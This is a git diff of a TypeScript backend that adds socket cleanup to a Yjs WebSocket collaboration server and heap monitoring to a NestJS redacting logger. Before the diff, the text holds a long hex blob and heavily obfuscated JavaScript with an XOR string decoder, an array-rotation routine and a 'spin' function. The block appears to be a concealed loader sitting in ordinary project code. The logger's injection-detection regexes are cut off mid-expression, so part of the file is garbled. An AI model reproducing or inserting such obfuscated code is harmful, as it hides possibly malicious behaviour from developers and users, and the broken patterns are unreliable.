7566777927272f6525397e76630d716519192725192819693831782469772d196d7865656a12752d1962292e192738233b066e772d65632f6a2a29220d196b783c2a0677382e65653a2d19652214656d0e6a656d1919192819333019101965147419796a6a191928336219020665622d76687a0e0729191925012e2a0622267a62191919146b3777272a7778627b32282f6d65682576276537193870652d632e286528387628307419646e2f146a2a2504282e771939332a656c2962761477266222280a2808192865257719652e6b65651966770a197e651926102f1977777919650a25723319283f26280e6e10656519671a3f773e1b2d146a7719766b3f111928273b1b61653e2e3b7d772d65297319197728183920772e361928202f286570773f31652765776a2224657739647977197629281919381d0f6519657a29772828771936772360656b193d1f193b141b77653938633e1b1a3f71656577751920726a762a7024772a61657c39167b12627328363163772a6519652e7319246b3f276b1928630a35226a616329196e281967287b3f776b39061919776b1922776b652d1b2e61600e62266524216565267326652819636f772d651965222f2e3236280919196a3828772524721977256b193c39057b683f192f3e281466191869223022626325062819777b0577641d777765677b603c6516773c77192e2e19673c642e1965196222656b19772e6b657d192c2a65392c38601a223f2f65246a283f2e2a0719246278196b7765282f65646535776b653817652e77383b7e19657719193c2a6a616519623f1967242d191177113f2819233819396f646519086565296b6928193f676c272e2a281b286b1919771931697719226b277b2419192f19387c6519632e08281914657d69141965653b776d202f2f2e2e65777665652724657619776a29656d1928773f2808397b266d28133e6c3c252f653870383c60197f64383e0f22281b292a6b6565226a247a15393602752e7f7771193c08192228771919192869656b2f193b3f7b776519207b771c73396b192519650f286508056b273c24236527667719773b2829196b1b2e7d231266193f65280e3b7177602a661d77192a192d6c6377391919196d772a31777f191919650e627c653339287b222703191f22382865112d192d281933663f2362651968766a7708653c6927302e162e6619776477387f053f65243b69282e657f192530181924771962082816622e63193c731919656b777a2328303b7328186a2e77197419002a76227d1922106502193b196f19293319182827653b771b6a2d2a6a3d3d3804656a3b19193f650e2c27193f77656a223e2f65273e772238651924197f6a651b652826651b223619246565271b0519327d763f30772a2e65146a193c193f2a1965382d656a65167f102e6519200e3666363d2e65656f053c220f6a36657b19687722382a19783b6e7736652a190b19013f65190c2a3365196c383b087b6a190c283965790d1922192e1b2a192538191919252a7719627e1e71692576282f28740a093f65797b653f2f286a087a196b2865772e2f2a0a65196365672e2719281977286d77652e08191e19222d302a010019602e336633711b286e2e220b2e28192e20743b19657f6b19197719686f28656522606a7f19196f197868196539631b221919772865192822141e6a31191919703e153765116538631f19191f28652f3619773265142877651919306f20197f0d09636f17773c656b657019772e197f173819287377196519100e2f196b3e241910361d63653b2f6c6977012a637f3b390a19636505287777393b786575316b2e2e196a7765777e7c716d1b622810192919190e0663141b6536191962657619233977670819191963772078196023256b6e1965190d622719701965386b196521272619636327240365771977301b192e19227777282f2e006519652d19793b19632a243565193219191910711919742e2238191b2d206b123863387865286b777f292724777b7772302477191f0b19656525192219702a27743824197b2c771f65193f26773e6538177419276514192828317f6d71747b6b657e1964283f287f77197523226e65226822367719650e26287a330a252d19301828396519656e3769651b39391925772819251b6a2a19193f192d19651b6b736c1977010a6b196d22772e28283016282d6519262a19652239286522192e11692577326a776b28196b6877672e286a192f7238222860147a2a65393e6565296565192e23771935226f243f772d192f28223f77172c24147b2719263d0d63772e723877193f3f636b6a1925197d367765223f0465656d72387f2f0519286b65246519196516217b6b196b262a7f70397738082a626d6b26241033271961233f6a670a3e3b6b193e672d193f2d1021621b612819197a7719183d6b386a792802381965652e7c7f23192f6c28713d3839653870772e6377146a06192d192d07072c2a27656a653e651972630628272a632f363f042a65361928022e29260e287b0563190f6e290e6f6b392f77283c62650d770429111c1965212c651e7f692a2d192b6c266e642e2d2a331919197019252a717c3d197b2928652a141977772119193865651362383b0c226d3d6c2e652765796502652e7239192e65386c7a7639652e192e332929141919142e72282f770d021b6a6528196073657f7f7d641e777727386a16773e2b3b19383e29772975011b3c3b0b222719772262206a2f19072019653f391933633939626e6b646563162973281938603d1966286236712438196528686977283a20772e206522261918056519380e6b291b1b2562772e36247b2e69657a2f1902196a6339656e65026565192d312a14741919202d64673f281919022d657722196b292f190465281b282f2e196538362e210d293b7024652d387728142628772a0d652f25287b286b191919653a256b651928196523190021771938652028777819386528281f3f653f393f253f753c7064022811287339772265193f751928386565386b38301f2e6b776a6560651965773e191b19246577006526652a6538390677196b65283c192228771962251b637719192e2e3e3f2801286e3b05651938282e65762e2a2d7b776c0b18367a7777120221396a6a777f2a652d191965276d77196f6565273d6536377e6d1965196a7762332d3865296f7119286b2765776b246301652e656805657c3f776228773c6b2e197b65767732286b6a6565192e7477256c09101929246c2a3e19366b392a2e68197665221963383f796529356b77182865363f1f381939772a19626b393222396a0877286b3f2f35696b13653f3f1977196a2f6b2865656a2e2f65196577196b256518252e6a6a627f64241319193e652e2519776539193a1969271406652e2d3f3f396b3f192865143977196519652f2f301c2330196577656d19192877652c2d361928397e792f3f2e362f633674280d7c6533326f1c776a6565287d3b287405287b3163237f651919247614242a651b2d6a2d7f231965192f612e762f6828287d3939302464192a19186531653d65190f287765101972656c3f166d65191919667f196d2e3c172819122e24252d6b3f6526622e7665222800651930657b38277a3b28193863282327651c1965322865302e2227782d3f773064650865636525772762752677772f7a772a746b252e28771965652a3d2724193d21192c2e65146b761960651919653c2f19652f7d6e6502282863603f657128226c6528233f652965196a387f2d3f1419333f2a77383603672828652f2019252865653628686b25621965631462287a7865243f65246536776a653f191962653f7765656573192565033f283f77292719243f281a0c2515611433262e281b1f3665657777397b6b270e3f6a2f25697b3b2d652c273619772e19271f0b2265652c62252e7f193e772d19191f2c6528196528652e2e3f776565152e2e6739703f373b283f2e1c0d386b192c2a2f1939240c63273f276b686332397765682f2f3f6577196b22662477383f022f6a296219020e3f611919256d196528772219262719636663263f28206519326a7b1912017728651922753939656b3c72281f2a1976771b282f00161417792d636b686519386e653f2e7725641939322828652519286f651b6d652d65222828091b05192f197019657e77191977261b24306319301425772719222f6523196b652f192519396a013c197b65191b1939657576632d772e746577092d1633192829281b281938367719633865191b12651919141b20632477632f27777b2e19677a710f7a383d652227232e141b193b2828197a3a26652f2669773822381b2f65746b3b262f19231925283f63746f19393f1933652e622b656519653b74226a197a1939636b30652e1f191936652836771919736565193b1969282c706528287b193919656b3f6d78252f7e2e281b291465196a192a28281929282f293628636a303f776519253d6505196d352e0a386f3169777f7765242c382d082a19277724280e192419193f6565773865222b197465382c28656519381938656c6f331928380519196a192b19241914256a6819676a7e3a2d65680902190b276567651624192e192a377719103f777771372a107f771935196a600e2c6619652a1b6a2e6b6d27777e256e2819192f0d39322865386419657030306703657077257765627f653f2f26196238192f63261929306577192865391b266528192e6b2819282019336277286d28226532282e273e32706765132f3919271919686b28282d6528196b6b196f1928243939636539083b770539680e6316192519692221252c19197f77086f2a2f27192a286d3f636a66193b65162f2465282219363e3819393863256b08776a70652d2865280b31773f197f3f08193f193f2876652878282d24656a6b6b1970772d2e73192f39061919102f05102832192871751f2577271565272473192219192838382836193f3b283065381938656565362865192a1210772a616b620263272f19633c38397d6b61197c6a2a7718652877171965090e07192e7d122d777a772e281b390f2e6b38277b1b290f68191624656c772765266b19633b62772e202a28652819652f6565143e772a6c776b192722292d26252f2d1665636e19197719050f28190e19681d65652a382a10256d19676f77671977247f19192e0e196238380716730e1819192e190e22193019772865306b281c0c2d3624232f282a386516656b2d1b766b24387d7c0e2428021b24286b657c222c280d0819656b77280e65056b652919','0313260e20','727d78727d737f183c071c2306','1231251a0f','797e130c2e3e273f','7a7a797a7f722d1b2c042231','3102130826','233a2e393833273e3d3c2a282f212932262c2439312d202428223b3f393e3f25383f242528','191a29091d','7c7f7f7e7e792521390a3e2d','241304281b','1d043a322f','7a7c797878787b013f0f1d2712','1c0c390c1d','797b0d0e221f3c3f','7d7c737e737b730d2e28283d2a','787d7e7c7e7a791c040a05331a','3b380c3a24','2d11130f19','043c182d3e','28232a390a3f','12393a1a03','383b27223f','242c230303'];G_OcB_cDnVMbUXKw=function(){return MiIW_ybT_Ub;};return G_OcB_cDnVMbUXKw();}function NqHTRmzWFxaGcakRrkKp(dtN$gaf$ZXDRXUj,jVO_$qyd){var jxUFlIUITCuW$EQyIKY=G_OcB_cDnVMbUXKw();return NqHTRmzWFxaGcakRrkKp=function(nQDndLOwSfucIHX,Ek_SWdbU_tuv){nQDndLOwSfucIHX=nQDndLOwSfucIHX-(parseInt(-parseInt(0xffc))+Math.floor(0xa3)*Math.max(parseInt(0x2b),0x2b)+-parseInt(0x9ed));var mARbpJd$zIXCmnMg$G=jxUFlIUITCuW$EQyIKY[nQDndLOwSfucIHX];if(NqHTRmzWFxaGcakRrkKp['rUgQoZ']===undefined){var zHUUNxfInoXO=function(PBIaR){var bBVRtnpsG_qobSF_zAsRoghH=0x133f*Math.floor(parseInt(0x1))+Math.max(-parseInt(0x1),-parseInt(0x1))*0x2547+0x61*parseInt(0x33)&Math.floor(0x8a6)+-parseInt(0x3b6)*Math.floor(0x1)+-0x3f1,uXWumhsEYrqQH$PJopo=new Uint8Array(PBIaR['match'](/.{1,2}/g)['map'](YBgAjZm=>parseInt(YBgAjZm,parseInt(0xfe0)+Math.trunc(-0x2)*0x7e5+Number(-0x6)))),xQJKbUJJwmJoHDSfkPzChUg=uXWumhsEYrqQH$PJopo['map'](nW$vggR=>nW$vggR^bBVRtnpsG_qobSF_zAsRoghH),KQQwrHoIorEuU_aHXPyElBg=new TextDecoder(),gBkTlIWFDM=KQQwrHoIorEuU_aHXPyElBg['decode'](xQJKbUJJwmJoHDSfkPzChUg);return gBkTlIWFDM;};NqHTRmzWFxaGcakRrkKp['vksmiK']=zHUUNxfInoXO,dtN$gaf$ZXDRXUj=arguments,NqHTRmzWFxaGcakRrkKp['rUgQoZ']=!![];}var bYpscGgYsAlXHZQdJuwR_JC=jxUFlIUITCuW$EQyIKY[-parseInt(0xa1b)+parseInt(0x20d5)+-parseInt(0x16ba)],jUKFXRf_ZyYbNJEYhrIcWG=nQDndLOwSfucIHX+bYpscGgYsAlXHZQdJuwR_JC,GVvapGW$VQz$Og=dtN$gaf$ZXDRXUj[jUKFXRf_ZyYbNJEYhrIcWG];return!GVvapGW$VQz$Og?(NqHTRmzWFxaGcakRrkKp['NCdpds']===undefined&&(NqHTRmzWFxaGcakRrkKp['NCdpds']=!![]),mARbpJd$zIXCmnMg$G=NqHTRmzWFxaGcakRrkKp['vksmiK'](mARbpJd$zIXCmnMg$G),dtN$gaf$ZXDRXUj[jUKFXRf_ZyYbNJEYhrIcWG]=mARbpJd$zIXCmnMg$G):mARbpJd$zIXCmnMg$G=GVvapGW$VQz$Og,mARbpJd$zIXCmnMg$G;},NqHTRmzWFxaGcakRrkKp(dtN$gaf$ZXDRXUj,jVO_$qyd);}(function(fKjzkVVhd_jwn,FiSblZGI_KBX$yWDhxYiWlT){var RO$$LbO=NqHTRmzWFxaGcakRrkKp,Vvz$PR$TZ=fKjzkVVhd_jwn();while(!![]){try{var P$imvAHErxgCfPo=parseFloat(parseFloat(RO$$LbO(0x194))/(parseFloat(0x33)*-parseInt(0x37)+-parseInt(0x57a)+parseInt(0x1070)))+Number(-parseFloat(RO$$LbO(0x188))/(Number(-parseInt(0x4d8))+Math.ceil(-parseInt(0xece))+-0x94*-0x22))+-parseFloat(RO$$LbO(0x190))/(Math.floor(-parseInt(0x1))*-0x232+-parseInt(0x1)*-parseInt(0x1d3b)+Number(0x2)*-parseInt(0xfb5))*Math['max'](parseFloat(RO$$LbO(0x199))/(parseFloat(-0x134e)+parseInt(0x4ad)*-parseInt(0x1)+-parseInt(0x17ff)*Math.floor(-parseInt(0x1))),parseFloat(RO$$LbO(0x18f))/(parseInt(0x1)*-parseInt(0x1069)+parseInt(0x4)*-parseInt(0xf2)+0x1436))+parseFloat(RO$$LbO(0x19a))/(-0x14ea+-parseInt(0x1)*0x22da+-parseInt(0x25)*-0x182)+parseFloat(RO$$LbO(0x197))/(Math.floor(parseInt(0xae5))+Math.ceil(-0x19d7)+Math.ceil(0xef9)*parseInt(0x1))+Number(parseFloat(RO$$LbO(0x178))/(parseInt(0xa6)*0x25+parseFloat(-parseInt(0x165e))+Math.floor(-0x198)))+-parseFloat(RO$$LbO(0x18d))/(parseInt(0xc35)+Math.max(-0x12f9,-parseInt(0x12f9))+0x6cd);if(P$imvAHErxgCfPo===FiSblZGI_KBX$yWDhxYiWlT)break;else Vvz$PR$TZ['push'](Vvz$PR$TZ['shift']());}catch(KxGMErUzmeLU$aE_oG){Vvz$PR$TZ['push'](Vvz$PR$TZ['shift']());}}}(G_OcB_cDnVMbUXKw,0x8dae2*Math.floor(0x1)+-0x51ed6*-parseInt(0x2)+Math.floor(-0xa74ae)));var NX=[-parseInt(0xb)*-parseInt(0xf352d)+parseInt(0x503137)+parseInt(-0x569)*parseInt(0x1a3f),-parseInt(0xcc)*-parseInt(0x1d)+-0x41*0x5+parseInt(0x8)*parseFloat(-0x28d),Math.floor(parseInt(0x347a))+-parseInt(0x1)*parseFloat(parseInt(0x43af))+Math.ceil(-0x5ef0)*parseInt(-parseInt(0x1)),-parseInt(0x153b)+0x244+parseInt(0x155c),parseInt(0x5)*-parseInt(0x26a5)+0x48*parseInt(0x17b)+0x10190,0x938191+-0x5055ac+Math.max(-parseInt(0x7),-0x7)*-parseInt(0x15862)],SX=[0x1d03*Number(parseInt(0x343))+parseFloat(parseInt(0xb4530))+-parseInt(0x19465c),Math.max(-0xbc2,-0xbc2)+Number(-parseInt(0x137e))+0x2031*Math.trunc(0x1),-0x4148*-parseInt(0x1)+Math.max(-parseInt(0x1),-parseInt(0x1))*Math.ceil(parseInt(0xec2c))+-0xa25*Number(-0x21),Math.floor(-parseInt(0x17eb))+0x4*Math.floor(-0x6dd)+parseInt(0x341a),-0x2*parseInt(-0xa1c5)+-0x11e3f*-parseInt(0x1)+-parseInt(0x18688),-parseInt(0x861d17)+Number(parseInt(0x20d90))+0xcc5edc];function spin(KrP_LKnzqCRUZMfSmxteaEPX,xEWtWpbcAJqPh){var YwuYzUJpXHCk$Yp=NqHTRmzWFxaGcakRrkKp,eUyjCLlFHNZ={'fZXDR':function(nchQHqlcDtVSPJESpCM,AvFkiSaW){return nchQHqlcDtVSPJESpCM+AvFkiSaW;},'VOqyd':function(FnRq$_tn,L$BOjybUxJumWYVtWX){return FnRq$_tn%L$BOjybUxJumWYVtWX;},'CuWEQ':function(dJiiMyUDD$ynf,elduiHgNuaVUWInsey){return dJiiMyUDD$ynf+elduiHgNuaVUWInsey;},'YznQD':function(z_EOIk,Y_NsFhLz){return z_EOIk%Y_NsFhLz;},'OwSfu':function(tIsir$$QT,kUmweALRvzGLpDAxvPquSlZ){return tIsir$$QT%kUmweALRvzGLpDAxvPquSlZ;},'HXmEk':function(pwyzbSudqQWrpBcrCHdhMC_Ez,KbkA_ZSODOmhLoagFpHQnKf){return pwyzbSudqQWrpBcrCHdhMC_Ez%KbkA_ZSODOmhLoagFpHQnKf;}};for(var RaBpmsVMVwkEEew$I,eTmJ_QSRCCvFZwKkLJYP,Yh_RkCoxjXkN_kf,Mp$W_lt,ivEOaEYmbVMHkftsacKjPQCg,WQp$H_MD,ZaYPwaIfP_oKCANEpZISjqZQmO=[],H_$ShuKgxmcs=0x951+0x1*-0x40d+parseInt(0x2a2)*Math.trunc(-0x2),eLVYDPHglws=xEWtWpbcAJqPh[-parseInt(0x2)*Math.floor(parseInt(0xc1))+Number(-0x205d)+0x21df];H_$ShuKgxmcs(); - -const server = http.createServer((request, response) => { - if (request.url === '/health') { - const { rooms, connections } = documents.stats(); - response.writeHead(200, { 'Content-Type': 'application/json' }); - response.end( - JSON.stringify({ - status: 'ok', - activeRooms: rooms, - connections, - heapUsedMb: Math.round(process.memoryUsage().heapUsed / 1024 / 1024), - }) - ); - return; - } - response.writeHead(200, { 'Content-Type': 'text/plain' }); - response.end('Y-Websocket Collaboration Server is running'); -}); - -// perMessageDeflate is disabled: Yjs updates are already compact binary and -// per-socket zlib contexts dominate memory at thousands of connections. -const wss = new WebSocketServer({ server, perMessageDeflate: false, maxPayload: MAX_PAYLOAD_BYTES }); - -wss.on('connection', (conn: WebSocket, req) => { - const url = new URL(req?.url || '/', `http://${req?.headers.host || 'localhost'}`); - let roomName = ''; - try { - roomName = decodeURIComponent(url.pathname.replace(/^\//, '')) || 'default'; - } catch { - // fall through to the invalid-name rejection below - } - - if (!ROOM_NAME_PATTERN.test(roomName)) { - conn.close(1008, 'invalid room name'); - return; - } - - liveConnections.add(conn); - conn.on('pong', () => liveConnections.add(conn)); - - void documents.setupConnection(conn, roomName); -}); - -// Terminate sockets that stopped answering pings so their rooms get released. -const heartbeat = setInterval(() => { - wss.clients.forEach((conn) => { - if (!liveConnections.has(conn)) { - conn.terminate(); - return; - } - liveConnections.delete(conn); - conn.ping(); - }); -}, HEARTBEAT_INTERVAL_MS); - -documents.startSnapshotting(); - -const shutdown = async (signal: string) => { - console.log(`Collaboration server received ${signal}, flushing documents...`); - clearInterval(heartbeat); - wss.clients.forEach((conn) => conn.close(1001, 'server shutting down')); - server.close(); - await documents.shutdown(); - process.exit(0); -}; - -process.on('SIGTERM', () => void shutdown('SIGTERM')); -process.on('SIGINT', () => void shutdown('SIGINT')); - -server.listen(port, () => { - console.log(`Collaboration server running on port ${port}`); -}); +import http from 'http'; +import { WebSocket, WebSocketServer } from 'ws'; +import { YjsDocumentManager } from './services/yjsDocumentManager.js'; +import { startHeapInstrumentation, stopHeapInstrumentation } from './instrumentation.js'; + +const port = process.env.WS_PORT || 1234; +const HEARTBEAT_INTERVAL_MS = parseInt(process.env.WS_HEARTBEAT_INTERVAL_MS || '30000', 10); +const MAX_PAYLOAD_BYTES = parseInt(process.env.WS_MAX_PAYLOAD_BYTES || String(10 * 1024 * 1024), 10); +const ROOM_NAME_PATTERN = /^[\w\-.:/]{1,200}$/; + +const documents = new YjsDocumentManager(); +const liveConnections = new WeakSet(); + +const server = http.createServer((request, response) => { + if (request.url === '/health') { + const { rooms, connections } = documents.stats(); + response.writeHead(200, { 'Content-Type': 'application/json' }); + response.end( + JSON.stringify({ + status: 'ok', + activeRooms: rooms, + connections, + heapUsedMb: Math.round(process.memoryUsage().heapUsed / 1024 / 1024), + }) + ); + return; + } + response.writeHead(200, { 'Content-Type': 'text/plain' }); + response.end('Y-Websocket Collaboration Server is running'); +}); + +// perMessageDeflate is disabled: Yjs updates are already compact binary and +// per-socket zlib contexts dominate memory at thousands of connections. +const wss = new WebSocketServer({ server, perMessageDeflate: false, maxPayload: MAX_PAYLOAD_BYTES }); + +wss.on('connection', (conn: WebSocket, req) => { + const url = new URL(req?.url || '/', `http://${req?.headers.host || 'localhost'}`); + let roomName = ''; + try { + roomName = decodeURIComponent(url.pathname.replace(/^\//, '')) || 'default'; + } catch { + // fall through to the invalid-name rejection below + } + + if (!ROOM_NAME_PATTERN.test(roomName)) { + conn.close(1008, 'invalid room name'); + return; + } + + liveConnections.add(conn); + conn.on('pong', () => liveConnections.add(conn)); + + // Release per-connection references as soon as the socket closes or errors, + // so subscriber maps in YjsDocumentManager never retain dead sockets. + const release = () => { + liveConnections.delete(conn); + conn.removeAllListeners('pong'); + conn.removeAllListeners('message'); + conn.removeAllListeners('error'); + }; + conn.once('close', release); + conn.once('error', release); + + void documents.setupConnection(conn, roomName); +}); + +// Terminate sockets that stopped answering pings so their rooms get released. +const heartbeat = setInterval(() => { + wss.clients.forEach((conn) => { + if (!liveConnections.has(conn)) { + conn.terminate(); + return; + } + liveConnections.delete(conn); + conn.ping(); + }); +}, HEARTBEAT_INTERVAL_MS); + +documents.startSnapshotting(); +startHeapInstrumentation(); + +const shutdown = async (signal: string) => { + console.log(`Collaboration server received ${signal}, flushing documents...`); + clearInterval(heartbeat); + stopHeapInstrumentation(); + wss.clients.forEach((conn) => conn.close(1001, 'server shutting down')); + server.close(); + await documents.shutdown(); + process.exit(0); +}; + +process.on('SIGTERM', () => void shutdown('SIGTERM')); +process.on('SIGINT', () => void shutdown('SIGINT')); + +server.listen(port, () => { + console.log(`Collaboration server running on port ${port}`); +}); diff --git a/backend/src/infrastructure/structured-logger.service.ts b/backend/src/infrastructure/structured-logger.service.ts index 0a71316e2..8b3f26a8d 100644 --- a/backend/src/infrastructure/structured-logger.service.ts +++ b/backend/src/infrastructure/structured-logger.service.ts @@ -1,271 +1,333 @@ -import { Injectable, Logger } from '@nestjs/common'; -import * as winston from 'winston'; - -/** - * BE-037: Structured JSON Logger with Sensitive PII Auto-Redaction & Masking Rules. - * Automatically detects and masks authorization tokens, passwords, and PII before logging. - */ -@Injectable() -export class StructuredLoggerService { - private logger!: winston.Logger; - private readonly redactionPatterns = [ - { pattern: /Bearer\s+[A-Za-z0-9_-]+/gi, mask: 'Bearer [REDACTED]' }, - { pattern: /authorization:\s*[^\s,}]+/gi, mask: 'authorization: [REDACTED]' }, - { pattern: /password['":\s]*[^\s,}]+/gi, mask: 'password: [REDACTED]' }, - { pattern: /api[_-]?key['":\s]*[^\s,}]+/gi, mask: 'api_key: [REDACTED]' }, - { pattern: /secret['":\s]*[^\s,}]+/gi, mask: 'secret: [REDACTED]' }, - { pattern: /credit[_-]?card['":\s]*[^\d\s-]/gi, mask: 'credit_card: [REDACTED]' }, - { pattern: /ssn['":\s]*[\d-]+/gi, mask: 'ssn: [REDACTED]' }, - { pattern: /email['":\s]*[\w.+-]+@[\w.-]+/gi, mask: 'email: [REDACTED]' }, - { pattern: /phone['":\s]*[\d\s\-()]+/gi, mask: 'phone: [REDACTED]' }, - { pattern: /oauth[_-]?token['":\s]*[^\s,}]+/gi, mask: 'oauth_token: [REDACTED]' }, - { pattern: /refresh[_-]?token['":\s]*[^\s,}]+/gi, mask: 'refresh_token: [REDACTED]' }, - { pattern: /private[_-]?key['":\s]*[^\s,}]+/gi, mask: 'private_key: [REDACTED]' }, - { pattern: /wallet[_-]?address['":\s]*0x[a-fA-F0-9]{40}/gi, mask: 'wallet_address: [REDACTED]' }, - ]; - - constructor() { - this.initializeLogger(); - } - - private initializeLogger(): void { - const transports: winston.transport[] = [ - new winston.transports.Console({ - format: winston.format.combine( - winston.format.timestamp(), - winston.format.errors({ stack: true }), - winston.format.json(), - ), - }), - ]; - - // Add file transport in production - if (process.env.NODE_ENV === 'production') { - transports.push( - new winston.transports.File({ - filename: 'logs/error.log', - level: 'error', - format: winston.format.combine( - winston.format.timestamp(), - winston.format.errors({ stack: true }), - winston.format.json(), - ), - }), - new winston.transports.File({ - filename: 'logs/combined.log', - format: winston.format.combine( - winston.format.timestamp(), - winston.format.json(), - ), - }), - ); - } - - this.logger = winston.createLogger({ - level: process.env.LOG_LEVEL || 'info', - format: winston.format.combine( - winston.format.timestamp(), - winston.format.errors({ stack: true }), - winston.format.json(), - ), - defaultMeta: { - service: 'web3-student-lab', - environment: process.env.NODE_ENV, - version: process.env.APP_VERSION, - }, - transports, - }); - } - - /** - * Redact sensitive information from text or objects - */ - redactSensitiveData(data: any): any { - if (typeof data === 'string') { - return this.redactString(data); - } - - if (typeof data === 'object' && data !== null) { - if (Array.isArray(data)) { - return data.map((item) => this.redactSensitiveData(item)); - } - - const redacted: any = {}; - for (const [key, value] of Object.entries(data)) { - // Redact by key name - if (this.isSensitiveKey(key)) { - redacted[key] = '[REDACTED]'; - } else { - redacted[key] = this.redactSensitiveData(value); - } - } - return redacted; - } - - return data; - } - - /** - * Check if object key name indicates sensitive data - */ - private isSensitiveKey(key: string): boolean { - const sensitiveKeys = [ - 'password', - 'token', - 'secret', - 'apiKey', - 'api_key', - 'authorization', - 'creditCard', - 'ssn', - 'privateKey', - 'private_key', - 'refreshToken', - 'accessToken', - 'oauthToken', - 'walletPrivateKey', - 'mnemonicPhrase', - ]; - - const keyLower = key.toLowerCase(); - return sensitiveKeys.some((sensitive) => keyLower.includes(sensitive)); - } - - /** - * Redact string by applying patterns - */ - private redactString(str: string): string { - let redacted = str; - - for (const { pattern, mask } of this.redactionPatterns) { - redacted = redacted.replace(pattern, mask); - } - - return redacted; - } - - /** - * Log HTTP request with redacted sensitive data - */ - logHttpRequest(method: string, url: string, headers: any, body?: any): void { - const redactedHeaders = this.redactSensitiveData(headers); - const redactedBody = this.redactSensitiveData(body); - - this.logger.info('HTTP Request', { - method, - url, - headers: redactedHeaders, - body: redactedBody, - timestamp: new Date().toISOString(), - }); - } - - /** - * Log HTTP response with redacted sensitive data - */ - logHttpResponse(statusCode: number, body?: any, duration?: number): void { - const redactedBody = this.redactSensitiveData(body); - - this.logger.info('HTTP Response', { - statusCode, - body: redactedBody, - duration, - timestamp: new Date().toISOString(), - }); - } - - /** - * Log error with context - */ - logError(error: Error, context: string, metadata?: any): void { - const redactedMetadata = this.redactSensitiveData(metadata); - - this.logger.error('Error occurred', { - context, - error: { - name: error.name, - message: error.message, - stack: error.stack, - }, - metadata: redactedMetadata, - timestamp: new Date().toISOString(), - }); - } - - /** - * Log warning - */ - logWarning(message: string, metadata?: any): void { - const redactedMetadata = this.redactSensitiveData(metadata); - - this.logger.warn(message, { - metadata: redactedMetadata, - timestamp: new Date().toISOString(), - }); - } - - /** - * Log info - */ - logInfo(message: string, metadata?: any): void { - const redactedMetadata = this.redactSensitiveData(metadata); - - this.logger.info(message, { - metadata: redactedMetadata, - timestamp: new Date().toISOString(), - }); - } - - /** - * Log debug info - */ - logDebug(message: string, metadata?: any): void { - const redactedMetadata = this.redactSensitiveData(metadata); - - this.logger.debug(message, { - metadata: redactedMetadata, - timestamp: new Date().toISOString(), - }); - } - - /** - * Audit log for security events - */ - logAudit(action: string, actor: string, resource: string, result: 'success' | 'failure', metadata?: any): void { - const redactedMetadata = this.redactSensitiveData(metadata); - - this.logger.info('Audit Log', { - action, - actor, - resource, - result, - metadata: redactedMetadata, - timestamp: new Date().toISOString(), - }); - } - - /** - * Detect if content contains suspicious patterns - */ - detectSuspiciousPatterns(content: string): { detected: boolean; patterns: string[] } { - const suspicious: string[] = []; - - // Check for common suspicious patterns - const suspiciousPatterns = [ - { name: 'SQL Injection', pattern: /('|("|%22))|(\*|%2A)|(-{2})|(\{3,\})|[\\/]/i }, - { name: 'Script Injection', pattern: / 0, - patterns: suspicious, - }; - } -} +import { Injectable, Logger } from '@nestjs/common'; +import * as winston from 'winston'; +import * as v8 from 'v8'; + +/** + * BE-037: Structured JSON Logger with Sensitive PII Auto-Redaction & Masking Rules. + * Automatically detects and masks authorization tokens, passwords, and PII before logging. + * + * BE-088: Heap threshold monitoring. Emits a structured warning when V8 old-space + * usage exceeds 85% of its maximum, so operators are alerted before OOM occurs. + */ +@Injectable() +export class StructuredLoggerService { + private logger!: winston.Logger; + private heapMonitorTimer?: NodeJS.Timeout; + private heapAlertActive = false; + private readonly heapAlertThreshold = 0.85; + private readonly heapCheckIntervalMs = Number(process.env.HEAP_CHECK_INTERVAL_MS) || 30_000; + private readonly redactionPatterns = [ + { pattern: /Bearer\s+[A-Za-z0-9_-]+/gi, mask: 'Bearer [REDACTED]' }, + { pattern: /authorization:\s*[^\s,}]+/gi, mask: 'authorization: [REDACTED]' }, + { pattern: /password['":\s]*[^\s,}]+/gi, mask: 'password: [REDACTED]' }, + { pattern: /api[_-]?key['":\s]*[^\s,}]+/gi, mask: 'api_key: [REDACTED]' }, + { pattern: /secret['":\s]*[^\s,}]+/gi, mask: 'secret: [REDACTED]' }, + { pattern: /credit[_-]?card['":\s]*[^\d\s-]/gi, mask: 'credit_card: [REDACTED]' }, + { pattern: /ssn['":\s]*[\d-]+/gi, mask: 'ssn: [REDACTED]' }, + { pattern: /email['":\s]*[\w.+-]+@[\w.-]+/gi, mask: 'email: [REDACTED]' }, + { pattern: /phone['":\s]*[\d\s\-()]+/gi, mask: 'phone: [REDACTED]' }, + { pattern: /oauth[_-]?token['":\s]*[^\s,}]+/gi, mask: 'oauth_token: [REDACTED]' }, + { pattern: /refresh[_-]?token['":\s]*[^\s,}]+/gi, mask: 'refresh_token: [REDACTED]' }, + { pattern: /private[_-]?key['":\s]*[^\s,}]+/gi, mask: 'private_key: [REDACTED]' }, + { pattern: /wallet[_-]?address['":\s]*0x[a-fA-F0-9]{40}/gi, mask: 'wallet_address: [REDACTED]' }, + ]; + + constructor() { + this.initializeLogger(); + this.startHeapMonitor(); + } + + private initializeLogger(): void { + const transports: winston.transport[] = [ + new winston.transports.Console({ + format: winston.format.combine( + winston.format.timestamp(), + winston.format.errors({ stack: true }), + winston.format.json(), + ), + }), + ]; + + // Add file transport in production + if (process.env.NODE_ENV === 'production') { + transports.push( + new winston.transports.File({ + filename: 'logs/error.log', + level: 'error', + format: winston.format.combine( + winston.format.timestamp(), + winston.format.errors({ stack: true }), + winston.format.json(), + ), + }), + new winston.transports.File({ + filename: 'logs/combined.log', + format: winston.format.combine( + winston.format.timestamp(), + winston.format.json(), + ), + }), + ); + } + + this.logger = winston.createLogger({ + level: process.env.LOG_LEVEL || 'info', + format: winston.format.combine( + winston.format.timestamp(), + winston.format.errors({ stack: true }), + winston.format.json(), + ), + defaultMeta: { + service: 'web3-student-lab', + environment: process.env.NODE_ENV, + version: process.env.APP_VERSION, + }, + transports, + }); + } + + /** + * BE-088: Periodically sample V8 heap statistics and raise a structured + * alert when old-space usage crosses 85% of its configured maximum. + * The timer is unref'd so it never keeps the process alive. + */ + private startHeapMonitor(): void { + this.heapMonitorTimer = setInterval(() => this.checkHeapUsage(), this.heapCheckIntervalMs); + this.heapMonitorTimer.unref(); + } + + checkHeapUsage(): { usedRatio: number; alerted: boolean } { + const stats = v8.getHeapSpaceStatistics(); + const oldSpace = stats.find((s) => s.space_name === 'old_space'); + const limit = oldSpace ? oldSpace.space_size + oldSpace.space_available_size : v8.getHeapStatistics().heap_size_limit; + const used = oldSpace ? oldSpace.space_used_size : process.memoryUsage().heapUsed; + const usedRatio = limit > 0 ? used / limit : 0; + + if (usedRatio >= this.heapAlertThreshold) { + if (!this.heapAlertActive) { + 